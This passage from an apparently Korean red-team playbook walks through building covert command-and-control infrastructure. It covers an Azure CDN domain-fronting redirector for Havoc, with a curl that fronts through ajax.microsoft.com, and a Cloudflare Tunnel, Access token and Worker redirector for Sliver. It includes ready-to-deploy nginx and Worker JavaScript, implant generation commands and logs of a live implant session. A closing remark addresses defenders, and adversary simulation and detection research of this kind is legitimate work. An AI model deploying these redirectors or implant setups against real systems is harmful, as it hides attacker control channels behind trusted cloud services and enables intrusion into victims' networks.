* Azure > Subscriptions > Settings > Resource Providers > CDN 검색 > Microsoft.Cdn > Register

이후, CDN을 만든다.

1. Azure > CDN > Front Door and CDN profiles > Create
2. Explore other offerings > Azure CDN Standard from Edgio
3. 이후 CDN 이름, CDN 엔드포인트 이름, 리다이렉터의 A 레코드 등을 지정한다. Bypass caching for query strings를 지정한다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FzJMDdS44lQnWvs1PKFx5%2F2-azurecdn.png?alt=media&amp;token=1e89b92e-680b-4d83-bbfd-6a662423572a" alt=""><figcaption></figcaption></figure>

4. 만든 이후 CDN > Endpoint를 클릭한 뒤, 설정을 마저 한다.

* Settings > Compression > Off
* Settings > Caching rules > Caching behavior: Bypass cache

## 테스트

먼저 하복 C2와 리다이렉터 설정을 하기전에, 간단하게 테스트를 진행한다.

```
# 리다이렉터 
mkdir /var/www/html
cd /var/www/html
echo "hello world from redirector" > hmmtesto.txt
python3 -m http.server 8443

# /etc/nginx/sites-enabled/default  맨 끝에 추가해준다. 도메인 이름만 바꾼다.  
server {
    listen 443 ssl;
    server_name rtplaybook.com docs.rtplaybook.com;

    ssl_certificate /etc/letsencrypt/live/rtplaybook.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/rtplaybook.com/privkey.pem;

    root /var/www/html;
    location / {
        try_files $uri $uri/ =404;
    }
}

sudo nginx -s reload

# 아무 호스트에서 테스트 
┌──(root㉿kali)-[/]
└─# curl https://docs.rtplaybook.com/hmmtesto.txt
hello world from redirector

┌──(root㉿kali)-[/]
└─# curl https://rtp-cache.azureedge.net/hmmtesto.txt
hello world from redirector

┌──(root㉿kali)-[/]
└─# curl https://ajax.microsoft.com/hmmtesto.txt -H 'host: rtp-cache.azureedge.net'
hello world from redirector
```

1. docs.rtplaybook - 도메인 이름도 잘 되고
2. rtp-cache.azureedge.net - CDN 이름도 잘 되고
3. ajax.microsoft.com - 도메인 프론팅도 잘 되는 것을 볼 수 있다.

특히 3번 도메인 프론팅이 성공적이였다. 실제로 ajax.microsoft.com은 존재하는 서브도메인이고 해당 아이피주소에 hmmtesto.txt 라는 파일이 없더라도, host 헤더에 공격자의 CDN 이름을 지정하면 해당 CDN으로 HTTP 요청이 날라가는 것을 확인했다.

CDN의 상태 및 엔드포인트 이름이 이전에 누군가 사용했다면 리프레시 되는데 시간이 걸릴 수 있다. 이 경우 Endpoint > Purge 등을 이용해 캐시를 강제 삭제할 수도 있지만, 대부분의 경우 10\~15분 정도 기다리면 알아서 업데이트 되니 잠시 기다리도록 하자.

## C2 테스트

이제 C2 로 테스트를 마무리한다.

MalleableC2로 제대로 테스트 하려면 <https://github.com/ChoiSG/havoc2nginx> 같은 프로젝트를 사용하면 되지만, 그냥 개념 증명용으로 간단하게 설정한다.

먼저, 하복 리스너를 만들어준다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2F5Ld7lSBiM2rjirya2PE9%2F3-listener.png?alt=media&amp;token=c3572578-16e3-48be-8de3-f79718ce985e" alt=""><figcaption></figcaption></figure>

* **Hosts:** 콜백하는 주소는 ajax.microsoft.com
* **URIs:** 테스트용도로 `/rtplaybook.js` 와 txt, png
* **Host Header:** 도메인 프론팅을 통해 도달할 CDN 주소는 `rtp-cache.azureedge.net`
* **Host (bind):** 실제로 바인드 될 주소는 AWS 내부 아이피인 `10.1.2.22`

그 뒤, 리다이렉터의 nginx 설정값에서 프록시 설정과 URIs 설정을 해준다. 이전 설정에서 약간만 바꿔주면 된다.

```
root@ip-10-1-12-78:/var/www/html# cat /etc/nginx/sites-enabled/default

server {
    listen 443 ssl;
    server_name rtplaybook.com docs.rtplaybook.com;

    ssl_certificate /etc/letsencrypt/live/rtplaybook.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/rtplaybook.com/privkey.pem;

    root /var/www/html;
    location ~ ^/(rtplaybook.txt|rtplaybook.js|rtplaybook.png) {
        proxy_pass https://10.1.2.22:443;
    }
}
```

이외에도 User Agent, 아이피 블랙 리스트 등의 작전보안을 생각해도 되겠지만, 일단은 개념 증명용으로 진행한다.

## 결과

페이로드 실행 후, 콜백이 제대로 되는 것을 볼 수 있다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FBaH1YzfAw5FXt8RnE5G3%2F4-callback.png?alt=media&amp;token=d7156dca-d3bc-4b47-9679-17b002abfd97" alt=""><figcaption></figcaption></figure>

엔드포인트의 와이어샤크에서는 다음과 같은 트래픽이 보인다. 일단 DNS로 ajax.microsoft.com을 알아낸 뒤, 모든 HTTPS 트래픽은 ajax.microsoft.com으로 보낸다. 물론 DPI이나 포워드 프록시에서 HTTPS를 드러내면 HTTP 요청의 Host 헤더에는 `rtp-cache.azureedge.net` 이 보일 것이다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2F5kszHPiZkPkyBt1KnjFQ%2F5-wireshark.png?alt=media&amp;token=becc9b32-2296-4dd1-94b0-afcbfbc9106e" alt=""><figcaption></figcaption></figure>

## 마치며

도메인 프론팅은 몇년 전 CDN 서비스 프로바이더들이 심각하게 생각하며 지원을 종료했던 기능이다. 하지만 SNI와 Host 헤더간의 차이, CDN의 특성 자체는 시간이 지나도 바뀌지 않기 때문에 도메인 프론팅이 가능한 CDN 프로바이더가 있다면 공격자들은 항상 이를 악용할 것이다. Azure의 Edgio CDN이 도메인 프론팅을 지원하자마자 레드티머들이 사용하는 것처럼 말이다.

## 레퍼런스

* <https://0xdarkvortex.dev/c2-infra-on-azure/>
* <https://redops.at/en/blog/cobalt-strike-cdn-reverse-proxy-setup>


# Cloudflared Tunnel과 Worker

이 문서는 Jumpsec Labs 블로그 글(https\://labs.jumpsec.com/putting-the-c2-in-c2loudflare/)을 기반으로 쓰여졌습니다. 해당 글에서 부족한 부분 및 서비스 업데이트로 인해 deprecated된 요소를 디버깅 및 연구한 결과를 포함해 문서화 했습니다.

## 개념

서버리스 컴퓨팅 서비스인 Cloudflare Workers와 제로 트러스트 터널 서비스 등을 활용하면 간단하면서도 작전 보안에 탁월한 공격자 인프라를 손쉽게 구축할 수 있다. 물론 VPC, 서브넷, VPN, 가상 머신 등 대규모 인프라를 직접 구축하는 방법도 있지만, 클라우드 프로바이더가 제공하는 서비스만을 이용해 최소한의 인프라로 구성하는 방법 또한 빠르고 효율적이며, 작전 보안에 유리할 수 있다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FRLySSM1cwyaG1XRCdOv6%2Fcloudflare-tunnel-worker-rdr.png?alt=media&amp;token=96e9b681-6725-442a-9ee4-b2d4d9f17c82" alt=""><figcaption></figcaption></figure>

이번 글에서는 위 다이어그램처럼 에이전트 --> 클라우드플레어 워커(Worker) URL --> 워커만 접근 가능한 클라우드플레어 터널 --> 공격자 C2 서버까지 콜백하는 간단 인프라를 만들어본다.

### 제로 트러스트 터널&#x20;

클라우드플레어의 제로 트러스트 터널은 사용자 인프라를 클라우드플레어의 글로벌 네트워크와 연결함으로서 전세계 어디에서든 사용자의 인프라에 접근 가능케 해주는 서비스다. 뒤집어 생각해본다면 공격자의 인프라를 클라우드플레어 뒤에다 놔 노출을 최소화 하고, 전세계 어디에서든 클라우드플레어 인프라를 통해 C2로 콜백을 할 수 있다면 그 보다 이상적인 인프라는 없을 것이다.

### 제로 트러스트 Access&#x20;

Access는 제로 트러스트 환경에서 인증, 접근 제어, 토큰 관리, 보안 정책 등을 통합적으로 관리하는 서비스다. 예를 들어 제로 트러스트 터널에 인증 기능을 추가하고 싶다면, Access에서 서비스 토큰을 발급해 부여함으로써 해당 토큰을 가진 트래픽만 터널을 사용할 수 있도록 설정할 수 있다.

### 클라우드플레어 워커&#x20;

클라우드플레어 워커(Cloudflare Worker)는 서버가 필요 없는 서버리스 컴퓨팅 서비스다. 서버리스 컴퓨팅 서비스를 공격자의 리다이렉터로 활용하는 방법은 꽤 오래된 기법이다. 최근에는 단순한 HTTP/S 리다이렉트뿐만 아니라, 다른 클라우드 서비스와 함께 활용하는 사례도 점점 늘고 있다. 예를 들어, 이번 실습에서는 들어오는 HTTP 요청에 Access의 서비스 토큰을 추가한 뒤 이를 제로 트러스트 터널로 전송하는 방법을 다뤄본다.

## 인프라 구성 단계

사용할 서비스들의 개념을 알아봤으니, 인프라 구성 단계에 대해 알아본다.

0\. 공격자 C2 서버, 도메인, Malleable C2 준비

1. 클라우드플레어 제로 트러스트 터널 추가 후 C2 서버에서 실행
2. 터널 인증용 Access 서비스 토큰 생성
3. 생성한 서비스 토큰을 터널에 보안 정책으로 부여
4. 클라우드플레어 워커(Worker) 생성, 리다이렉터 코드 업데이트

이 페이지를 읽을 정도면 0번 정도는 설명을 안해도 될테니, 생략한다.

1\~4번은 숙달만 되면 5분 내로 할 수도 있다. 공격자 C2 또한 터널을 사용할 것이기 때문에 클라우드, VPS, 심지어 로컬 호스트(vmware + 칼리, 등) 등, 어디에 있던지 상관 없다. 물론 실제 오퍼레이션이였다면 작전 보안을 생각해 클라우드 가상머신 + 방화벽 정책 + 하드닝 된 호스트를 준비하는 것이 좋을 것이다.

## 트래픽 전송 단계&#x20;

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2F9ATwi5XVjjUGjfpqt7UU%2Fcloudflare-tunnel-worker-rdr.png?alt=media&amp;token=b8930a5c-0c94-4588-b382-54c6f73b192d" alt=""><figcaption></figcaption></figure>

모든 설정이 끝나면 위 다이어그램처럼 트래픽이 전송된다.

1. C2 에이전트) 클라우드플레어의 워커 URL인 `<워커>.<커스텀도메인>.workder.dev` 로 콜백한다.
2. 워커) 들어오는 트래픽에 대해 HTTP Header, Header value, User Agent 등을 확인해 오로지 C2 에이전트의 트래픽만 받는다.
3. 워커) 들어오는 C2 에이전트 트래픽이 모든 검사를 통과한다면, 서비스 토큰 (CF-Access-Client-Id, CF-Access-Client-Secret) 을 붙여서 백엔드 터널로 보낸다.
4. 터널) 터널은 리다이렉터에서 보내는 트래픽에서 서비스 토큰이 붙어있는 것을 확인하고, 터널을 통해 공격자 호스트의 127.0.0.1:443 C2 리스너로 트래픽을 보낸다

## 인프라 구성

### **1. 클라우드플레어 제로 트러스트 터널 추가**

Zero Trust > 네트워크 > Tunnels > 터널 추가 > Cloudflared 추가

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2F1uudW6ZPZZVgalByuDb5%2F0-add-tunnel.png?alt=media&amp;token=d3093e95-cc19-49f7-9e36-bc1c962d49ee" alt=""><figcaption></figcaption></figure>

데비안/우분투/칼리 리눅스 기준 Debian 선택 후 커넥터 설치

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fh4AGeyb9ZgMYYlP42xMk%2F1-install-tunnel.png?alt=media&amp;token=b3a872c3-78da-45c8-99f0-fdde4b97c512" alt=""><figcaption></figcaption></figure>

&#x20;

터널 서비스 설치 명령어들을 복사/붙여넣기 한 뒤, 터널을 시작한다.

```
cloudflared tunnel run --token <토큰>
```

그 뒤 다시 웹으로 와서 "다음"을 누른 뒤 트래픽 라우팅을 설정하고, 터널을 저장한다.

다음 누른 뒤 트래픽 라우팅 설정, 터널 저장.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2F2ZcFlOy7UfmqRlSZXgEZ%2F2-tunnel-traffic-routing.png?alt=media&amp;token=6e278f87-f97a-48f1-9915-c47bd6d63124" alt=""><figcaption></figcaption></figure>

* 공개 호스트: 터널의 공인 호스트 이름
* 서비스: 터널이 트래픽을 주고 받을 공격자 호스트의 URL (예. C2 서버의 포트 443 HTTPS 리스너 - <https://127.0.0.1:443>)
* 추가 설정 > TLS > TLS 확인 없음 "켬"

테스트용으로 터널의 공인 호스트이름에 curl을 날렸을 때 error code: 502가 나오면 성공이다. 어차피 https 트래픽을 http에 날린거라 응답은 의미가 없고, 그냥 요청이 날라가는 것만 확인하면 된다. 또한, python3에서 요청이 127.0.0.1 에서 날라왔으면 터널을 타고 온 것이다.

```
root@ip-10-1-14-169:/tmp# python3 -m http.server 443
Serving HTTP on 0.0.0.0 port 443 (http://0.0.0.0:443/) ...
127.0.0.1 - - [28/Dec/2024 14:18:02] code 400, message Bad request version ('\\x9ezj\\x82p\\x95')
127.0.0.1 - - [28/Dec/2024 14:18:02] "\x16\x03\x01\x00ä\x01\x00\x00à\x03\x03¨\x8eÇt2ø\x08P@°H­c\x11Ëq\x9a³áL\x10'â~\x8b\x17\x80û\x1d&Ë\x84 ³fZ\x0eªú(Y5O\x11\x11¾Ù\x09N\x85\x9ezj\x82p\x95" 400 -

root@ip-10-1-14-169:~# curl https://resources-kr.shealthinsurance.com:443
error code: 502root@ip-10-1-14-169:~#
```

### 2. 터널 인증용 Access 서비스 토큰 생성

위에서 터널을 생성했지만, 현재 이 터널은 공인 호스트 이름에 연결되어 있고 인터넷에서 인증 없이 접근 가능한 상태다. 따라서 접근 제어 및 인증을 위해서 서비스 토큰을 생성한 뒤, 터널에 부여해 오로지 인가 받은 트래픽만 터널에 접근할 수 있도록 설정한다.

Zero Trust > Access > 서비스 인증 > 서비스 토큰 생성 (기간은 마음대로)

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FkaPo4IpLe1LXlJhefa47%2F3-access-create-srv-token.png?alt=media&amp;token=37c6c84c-c2f8-4861-b8e1-61ba4f2e83e5" alt=""><figcaption></figcaption></figure>

생성 뒤 서비스 토큰 2개는 꼭 복사해 저장해놓는다. 나중에 필요하고, 이 화면 이외에는 절대로 다시 볼 수 없다.

### 3.  생성한 서비스 토큰을 터널에 보안 정책으로 부여

Zero Trust > Access > 응용 프로그램 > 응용 프로그램 추가 > 자체 호스팅

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fu932TZLuA1qaMOE4Xvhl%2F4-access-1.png?alt=media&amp;token=86a19383-e1be-4304-a7ee-9b2f796dd0e7" alt=""><figcaption></figcaption></figure>

* 응용 프로그램 도메인: 아까 만들었던 터널의 공인 호스트 DNS 호스트이름을 적는다.
* 세션 기간: 1달

나머지는 그대로 두고, 다음을 누른다. 이후 서비스 토큰 부여를 위한 정책을 생성한다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2F9POcS8uSvc0qz0GGHmtD%2F5-access-2.png?alt=media&amp;token=95298ac5-9997-4217-9b69-b39515bc3d73" alt=""><figcaption></figcaption></figure>

* 정책 이름: 아무거나
* 작업: Service Auth
* 세션 기간: 1달

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FKaIaU3yp00Nct8Q5Nfoo%2F6-access-3.png?alt=media&amp;token=cc01e682-d3ac-4fde-98c0-a0a975bc0c52" alt=""><figcaption></figcaption></figure>

* 규칙 구성: Service Token -> 값은 아까 만들었던 토큰 이름

마지막 페이지에서는 딱히 아무 설정도 안해도 된다.

여기까지 했으면 테스트를 진행한다. 서비스 토큰 (CF-Access-Client-Id, Secret)을 붙이지 않고 curl을 하면 403 Forbidden이 뜬다. 하지만 서비스 토큰을 헤더 형태로 붙여서 보내면 Access를 통과해 터널에 도착하고, 맨 처음과 동일하게 502가 뜨는 것을 볼 수 있다.

```
# 서비스 토큰 없이 Access에 막힘 
root@ip-10-1-14-169:~# curl -k -I https://resources-kr.shealthinsurance.com:443/test.txt                                                               
HTTP/2 403 
date: Sat, 28 Dec 2024 14:25:13 GMT
content-type: text/html

# 서비스 토큰 있으면 Access 인증 통과, 터널까지 진행 
root@ip-10-1-14-169:~# curl -k -I https://resources-kr.shealthinsurance.com:443/test.txt -H 'CF-Access-Client-Id: <검열됨>' -H 'CF-Access-Client-Secret: <검열됨>'

HTTP/2 502 
date: Sat, 28 Dec 2024 14:26:38 GMT
content-type: text/plain; charset=UTF-8
```

### 4. 클라우드플레어 워커(Worker) 생성, 리다이렉터 코드 업데이트

터널 설정이 끝났다면, 이제 리다이렉터 역할을 할 워커를 생성한다. 이 워커는 들어오는 HTTP 트래픽을 상대로 HTTP 헤더 + User Agent 검사를 해 오로지 허가 받은 트래픽만 리다이렉트 되도록 검사한다. 허가 받은 트래픽에는 위에서 생성한 터널 접근용 서비스 토큰을 붙여 터널로 리다이렉트한다.

* 클라우드플레어 > Workers and Pages > Worker 생성 > 배포
* 클라우드플레어 > Workers and Pages > 하위 도메인 변경

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FlAY7iuWFYw1XvbiNzYXH%2F7-worker-subdomain.png?alt=media&amp;token=dc85113c-7db4-494d-88c0-baeec4d1a0f5" alt=""><figcaption></figcaption></figure>

* 워커 클릭 > 오른쪽 위 코드 편집 > 코드 편집 후 오른쪽 위 "배포"

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2F0JHWO9fpFrYYFdYzqIlO%2F8-deploy.png?alt=media&amp;token=5926cc20-f352-4d61-81a2-a06a5b775daf" alt=""><figcaption></figcaption></figure>

이제 아래 코드에서 하드코딩된 섹션만 업데이트 하면 된다. 아래는 예시일 뿐이며, C2 프레임워크와 상관없이 에이전트의 헤더 이름 + 값 + User-Agent 값을 확인한다. 그 이후 위 3개의 값이 모두 일치한다면 C2 서버가 있는 터널로 서비스 토큰을 붙여서 보내고, 아니라면 403을 반환한다.

* WORKER\_ENDPOINT: 현재 워커 노드의 `<워커이름>.<서브도메인>.worker.dev`
* SLIVER\_ENDPOINT: 터널의 공인 호스트 DNS 이름 (예. `resoures-kr.shealthinsurance.com`)
* SLIVER\_HEADER\_NAME: Malleable C2 프로필의 에이전트 헤더 이름
* SLIVER\_HEADER\_VALUE: Malleable C2 프로필의 에이전트 헤더 값
* SLIVER\_UA: Malleable C2 프로필의 User Agent 값

```javascript
(() => {
    // # UPDATE ME # Hardcoding Section. 
    const WORKER_ENDPOINT = "https://REDACTED.REDACTED.workers.dev";
    const SLIVER_ENDPOINT = "https://REDACTED.REDACTED.com";
    const SERVICE_CF_ID = "REDACTED.access";
    const SERVICE_CF_SECRET = "REDACTED";
    const SLIVER_HEADER_NAME = ["Header-1", "Header-2"];    // Single entry is also fine 
    const SLIVER_HEADER_VALUE = ["Value-1", "Value-2"];     // Single entry is also fine 
    const SLIVER_UA = "CustomUserAgentValue";

    addEventListener("fetch", (event) => {
        event.respondWith(handleRequest(event));
    });

    async function handleRequest(event) {
        const req = event.request;

        // Safety Check 1 - HTTP Header name + value 
        for (let i = 0; i < SLIVER_HEADER_NAME.length; i++) {
            const headerName = SLIVER_HEADER_NAME[i];
            const headerValue = SLIVER_HEADER_VALUE[i];
            const reqHeaderValue = req.headers.get(headerName);

            if (!reqHeaderValue || reqHeaderValue !== headerValue) {
                return new Response("Forbidden", { status: 403 });
            }
        }

        // Safety Check 2 - User Agent check 
        const userAgent = req.headers.get("User-Agent");
        if (!userAgent || userAgent !== SLIVER_UA) {
            return new Response("Forbidden", { status: 403 });
        }

        // Build request
        const path = req.url.replace(WORKER_ENDPOINT, "");
        const sliverUrl = SLIVER_ENDPOINT + path;
        const modifiedHeaders = new Headers(req.headers);

        // If incoming client/agent is already authenticated, do NOT add service tokens again since that will 
        // indefinitely create duplicated CF_Authorization cookies to the point of 400 Bad Request. 
        const incomingCookie = req.headers.get("Cookie") || "";
        if (!incomingCookie.includes("CF_Authorization=")) {
            modifiedHeaders.set("CF-Access-Client-Id", SERVICE_CF_ID);
            modifiedHeaders.set("CF-Access-Client-Secret", SERVICE_CF_SECRET);
        } else {
            modifiedHeaders.delete("CF-Access-Client-Id");
            modifiedHeaders.delete("CF-Access-Client-Secret");
        }

        const sliverRequest = new Request(sliverUrl, {
            method: req.method,
            headers: modifiedHeaders,
            body: req.body,
        });

        const sliverResponse = await fetch(sliverRequest);

        return sliverResponse;
    }
})();
```

## 결과 확인

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2F9ATwi5XVjjUGjfpqt7UU%2Fcloudflare-tunnel-worker-rdr.png?alt=media&amp;token=b8930a5c-0c94-4588-b382-54c6f73b192d" alt=""><figcaption></figcaption></figure>

모든 설정이 끝났으니, 맨 처음 설명했던대로 트래픽이 전송될 것이다.

다음은 Sliver v1.5.42와 간단한 Malleable C2 프로필, 그리고 `generate --debug -b https://<워커노드>.workers.dev -f exe -s /tmp/sliver-int.exe` 를 이용한 테스트다.

**설정에 사용된 malleable c2의 헤더 + UA**

```json
# cat ~/.sliver/config/http-c2.json 

"implant_config": {                                                      
	"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.3339.396 Safari/537.36",
	"chrome_base_version": 100,
	"macos_version": "10_15_7",
	"url_parameters": null,
	"headers": [      
	{                     
		"name": "Red-Team-Playbook",
		"value": "testov2"
	},                                                           
	{                                                            
		"name": "Some-Random-Header",    
		"value": "choisecurity"       
	}                     
	], 
	
< ... 생략 ... > 
```

**슬리버 에이전트 + 팀 서버 출력**&#x20;

```bash
# 슬리버 에이전트 
2024/12/28 23:34:58 transports.go:104: Return generator: (chan *url.URL)(0xc000086780)
2024/12/28 23:34:58 transports.go:92: Yield c2 uri = 'https://lucky-star-82bd.kr-fonts-cdn.workers.dev'
2024/12/28 23:34:58 transports.go:92: Yield c2 uri = 'https://lucky-star-82bd.kr-fonts-cdn.workers.dev'
2024/12/28 23:34:58 session.go:84: Next CC = https://lucky-star-82bd.kr-fonts-cdn.workers.dev
2024/12/28 23:34:58 session.go:84: Next CC = https://lucky-star-82bd.kr-fonts-cdn.workers.dev
2024/12/28 23:34:58 session.go:172: Connecting -> http(s)://lucky-star-82bd.kr-fonts-cdn.workers.dev
2024/12/28 23:34:58 transports.go:92: Yield c2 uri = 'https://lucky-star-82bd.kr-fonts-cdn.workers.dev'
2024/12/28 23:34:58 drivers_windows.go:36: Using go http driver
2024/12/28 23:34:58 provider_windows.go:145: [proxy.Provider.readWinHttpProxy] No proxy discovered via AutoDetect: winapi error #12180
2024/12/28 23:34:58 httpclient.go:682: [http] segments = [], filename = rpc, ext = php
2024/12/28 23:34:58 crypto.go:217: TOTP Code (2024-12-28 14:34:58.8819973 +0000 UTC): 87957323
2024/12/28 23:34:58 httpclient.go:343: [http] POST -> https://lucky-star-82bd.kr-fonts-cdn.workers.dev/rpc.html?d=45268pp69&kz=87957py323 (266 bytes)

# cli 
[*] Session 57daae64 NATURAL_CONCEPT - tcp(127.0.0.1:58058)->2a06:98c0:3600::103 (DESKTOP-HUH) - windows/amd64 - Sat, 28 Dec 2024 14:34:59 UTC

sliver > sessions 

 ID         Transport   Remote Address                              Hostname          Username   Operating System   Health  
========== =========== =========================================== ================= ========== ================== =========
 57daae64   http(s)     tcp(127.0.0.1:58058)->2a06:98c0:3600::103   DESKTOP-HUH   root       windows/amd64      [ALIVE] 

sliver > use 57daae64-7614-4536-a0e4-ac5fee1c850d

[*] Active session NATURAL_CONCEPT (57daae64-7614-4536-a0e4-ac5fee1c850d)

sliver (NATURAL_CONCEPT) > whoami

Logon ID: DESKTOP-HUH\root
[*] Current Token ID: DESKTOP-HUH\root
```

## 마치며

클라우드에 다양하고, 보안을 중요시 여기며, 유용한 서비스들이 나오면 나올수록 공격자들 또한 이를 악용할 것이다. 대규모 클라우드 기반 인프라나 장악한 서버들을 활용해 인프라를 구축할 수도 있겠지만, 정상적인 유저로서 정상적인 서비스들을 이용해 최소한의 인프라를 만들면서도 작전 보안을 챙길 수도 있을 것이다. 공격자 시뮬레이션의 입장에서는 최신 공격자 인프라 트렌드가 어떤식으로 이뤄지는지 공부하고 분석해야 한다. 블루팀의 입장에서는 점점 인프라를 클라우드 서비스 및 프로바이더들에게 의존하는 공격자들을 어떻게 탐지하고 막아낼 것인지, 클라우드 서비스 제공자들과는 또 어떻게 협업을 해야할지 고민해야 할 것이다.

## 레퍼런스

* [https://labs.jumpsec.com/putting-the-c2-in-c2loudflare/ ](<https://labs.jumpsec.com/putting-the-c2-in-c2loudflare/ >)
* <https://github.com/JumpsecLabs/CloudflareRedirector>
* <https://ajpc500.github.io/c2/Using-CloudFlare-Workers-as-Redirectors/>
* <https://www.redteaming.org/cftunnels.html>
* <https://blog.xpnsec.com/aws-lambda-redirector/>
* <https://developers.cloudflare.com/cloudflare-one/identity/service-tokens>
* <https://developers.cloudflare.com/workers/runtime-apis/fetch/>
* <https://developers.cloudflare.com/workers/platform/limits/#subrequests>

### 기타 등등

* 원 블로그 글과 깃허브 리포에는 CF\_Authorization 쿠키 관련된 정보가 없어 코드 수정 및 디버깅을 하느라 삽질을 조금 했다. 간단하게 정리하자면 CF-Access-Client-Id와 CF-Access-Client-Secret을 터널에 보낼때마다 백엔드 서버가 아니라 터널 자체가 `Set-Cookie: CF_Authorization` 쿠키를 설정해준다. 원 코드에서는 모든 요청에 서비스 토큰을 붙여서 계속 보냈고, 이는 `Set-Cookie: CF_Authorization`을 계속 반환했다. 결국 120 \~ 140 초 동안은 정상적으로 운영되다가, 150초대 쯤 HTTP 요청에 약 30 \~ 40개의 긴 쿠키들이 붙어 날라가기 시작하면 워커 자체에서 `400 Bad Request`를 반환 하는 문제가 있었다. 이 문제는 다른 블로그 글에 언급되지 않았으며, 워커, 터널, 백엔드 C2, 그 어디에도 로깅이 되지 않았고, 제대로 문서화되어 있지도 않아 워커와 Access의 서비스 토큰 작동 원리에 대해 공식 문서를 통해 공부하고, 각 워커 코드를 수정해 요청/응답 로깅 및 C2서버/타겟 호스트에 각각 와이어샤크+tcpdump를 놓고 분석하는 방법으로 디버깅 했다.
  * 30분 걸릴 실습이 6시간 디버깅 세션으로 이어질 줄은 몰랐다.


# Cloudflared Tunnel과 Pages

## 개념

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FB9Odmv90pgmct396pi9O%2Fcloudflare-pages-rdr.png?alt=media&amp;token=2080d435-e6f9-4569-9679-a0520fe7afa8" alt=""><figcaption></figcaption></figure>

이전 페이지에서는 클라우드플레어 워커와 터널을 이용한 클라우드 공격자 인프라 구성에 대해서 알아봤다. 이번 페이지에서는 클라우드플레어 Pages Functions 기능을 활용해 워커 대신 리다이렉터를 생성하는 방법에 대해서 알아본다.

또한, 이번에는 수동으로 GUI를 사용하지 않고 Wrangler를 이용해 프로그래매틱하게 배포를 진행해본다.

## 클라우드플레어 페이지(Cloudflare Pages)

[클라우드플레어 페이지](https://developers.cloudflare.com/pages/)는 워커(Workers)와 비슷한 개념의 서버리스 컴퓨팅 서비스지만, 간단한 코드를 비롯해 JAM 스택 (Javascript, API, Markup) 기반의 웹 어플리케이션까지 지원하는 서비스다. 예를 들어 최근에 자주 쓰이는 React, SVelte, Next.JS 등의 프레임워크를 사용한 웹앱을 서버리스하게 운영하고 싶다면, 페이지를 사용하면 된다.

## 페이지 펑션(Cloudflare Pages Functions)

[페이지 펑션](https://developers.cloudflare.com/pages/functions/)은 페이지에서 풀스택 웹앱을 만들 수 있게 해주는 기능이다. 사용자 인증, Form submission, 미들웨어 등의 논리를 처리하는데 펑션이 사용된다. 웹 개발자가 아닌 레드팀의 입장에서 사실상 페이지 펑션은 워커(Worker)와 동일한 기능을 수행한다고 보면 된다.

파일 이름에 따라 routing이 정해지기 때문에 다음과 같은 디렉토리를 가지고 있다면:

```
./my-project 
  - index.html 
  - /public 
  - /functions 
    - myfunction.js
```

다음의 페이지를 방문할 때 `myfunction.js` 가 실행된다: `something.pages.dev/myfunction` . 이와 관련된 내용은 추후 인프라 구축 때 더 알아본다.

## 워커 vs. 페이지 펑션

리다이렉터로서 워커나 펑션은 모두 동일한 기능을 보여준다. 더 연구해보면 명확한 장단점이 나올수도 있겠지만, 적어도 개인적으로 공부한 내용에 따르자면 큰 차이는 없다. 다만 간단한 리다이렉터가 아니라 인증이나 미들웨어까지 포함한 완전한 기능을 갖춘 리다이렉터를 사용한다거나, 리다이렉터 뿐만 아니라 공격자 인프라로서 더 완전한 웹앱을 사용한다면 워커 보다는 페이지 펑션을 사용하는게 더 효율적일 것이다.

개인적으로 아직까지는 그냥 클라우드플레어를 이용한 리다이렉터의 옵션이 하나 늘어난 정도로 보고 있다.

## 트래픽 전송 단계

